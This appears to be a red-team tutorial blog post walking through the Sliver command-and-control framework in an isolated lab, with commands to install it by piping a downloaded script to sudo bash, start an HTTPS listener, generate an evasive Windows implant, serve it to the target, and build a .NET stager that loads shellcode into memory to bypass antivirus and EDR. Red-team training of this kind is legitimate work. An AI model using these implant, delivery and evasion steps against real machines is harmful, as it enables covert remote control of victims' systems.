Sliver C2: getting started for red teaming
Sliver is an open-source command & control framework developed by Bishop Fox. We set it up step by step, in a lab: installation, listener, implant and first session.
The lab
Two machines on an isolated network:
- a Kali Linux acting as the Sliver C2 server;
- a Windows 10, our "victim" machine.
Installation
On Kali, install Sliver and start the service:
# Installation
curl https://sliver.sh/install | sudo bash
# Start the service
sudo systemctl start sliver.service
# Sliver console
sliver
Configure the listener
The listener is the endpoint implants connect back to. We start one over HTTPS:
sliver > https --lhost 192.168.1.93 --lport 443
--lhost: the listening IP address.--lport: the listening port.
Sliver supports several protocols for the C2 channel: HTTP(S), mTLS, TCP and DNS.
Generate the implant
sliver > generate --http https://192.168.1.93:443 --format exe --arch amd64 --evasion --save impl.exe
We then host the binary on a small web server so the target can fetch it:
python -m http.server 8080
Sliver is now well known to security vendors: a raw implant is often detected as-is. That's expected — below we reduce the detection surface with a stager.
Interacting with the session
Once the implant runs, a session appears on the server. List it, then use it:
sliver > sessions
sliver > use 67e3f139 # id of the active session
sliver > help # command catalogue
Commands run on the remote machine and the results flow back to the C2 server.
Going further: stagers
A stager is a small initial component whose only job is to download and run the main payload (the stage 2), ideally straight into memory (fileless). Because the stage 1 carries very little code, it more easily bypasses some antivirus and EDR products.
In Sliver, stagers rely on profiles:
sliver > profiles new --https 192.168.1.93 --format shellcode sliver-shellcode
sliver > stage-listener --url http://192.168.1.93:1234 --profile sliver-shellcode
The stage 1 (a minimal .NET loader, for instance) fetches the shellcode from that URL, allocates it as executable memory and launches it in a thread. Build on the .NET side:
dotnet new console
# ... replace Program.cs with the loader ...
dotnet publish -r win-x64 -p:PublishSingleFile=true --self-contained false
To run without a console window, replace <OutputType>Exe</OutputType> with <OutputType>WinExe</OutputType> in the .csproj.
Next step
The logical next step: encrypted shellcode to reduce detection even further. Two reads to dig in: